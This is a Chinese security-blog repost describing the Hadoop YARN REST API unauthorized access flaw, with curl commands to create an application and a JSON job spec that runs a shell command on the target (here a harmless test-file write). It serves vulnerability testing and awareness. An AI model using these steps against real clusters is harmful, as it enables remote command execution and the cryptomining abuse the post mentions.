微慑信息网

Hadoop Yarn REST API未授权命令执行测试

一、背景

5月5日腾讯云安全团队曾针对攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击案例,其中就包含利用该问题进行挖矿,我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。

二、漏洞说明

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。

YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。

攻击步骤:

1.申请新的application

直接通过curl进行POST请求

curl -v -X POST ‘http://ip:8088/ws/v1/cluster/apps/new-application’
返回内容类似于:

{“application-id”:”application_1527144634877_20465″,”maximum-resource-capability”:{“memory”:16384,”vCores”:8}}
2.构造并提交任务

构造json文件1.json,内容如下,其中application-id对应上面得到的id,命令内容为尝试在/var/tmp目录下创建11112222_test_111122222文件,内容也为111:

<此处json一定要格式化,也可以通过burp提交,前两次使用curl提交都报错了>

{
    "am-container-spec": {
        "commands": {
            "command": "echo '111' > /var/tmp/11112222_test_11112222"
        }
    }, 
    "application-id": "application_1527144634877_20465", 
    "application-name": "test", 
    "application-type": "YARN"
}

 

然后直接

curl -s -i -X POST -H ‘Accept: application/json’ -H ‘Content-Type: application/json’ http://ip:8088/ws/v1/cluster/apps –data-binary @1.json
即可完成攻击,命令被执行,在相应目录下可以看到生成了对应文件
———————

原文:https://blog.csdn.net/xiaolong_4_2/article/details/81839551

赞(0) 打赏
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » Hadoop Yarn REST API未授权命令执行测试

评论 抢沙发

微慑信息网 专注工匠精神

微慑信息网-VulSee.com-关注前沿安全态势,聚合网络安全漏洞信息,分享安全文档案例

访问我们联系我们

觉得文章有用就打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫

微信扫一扫

登录

找回密码

注册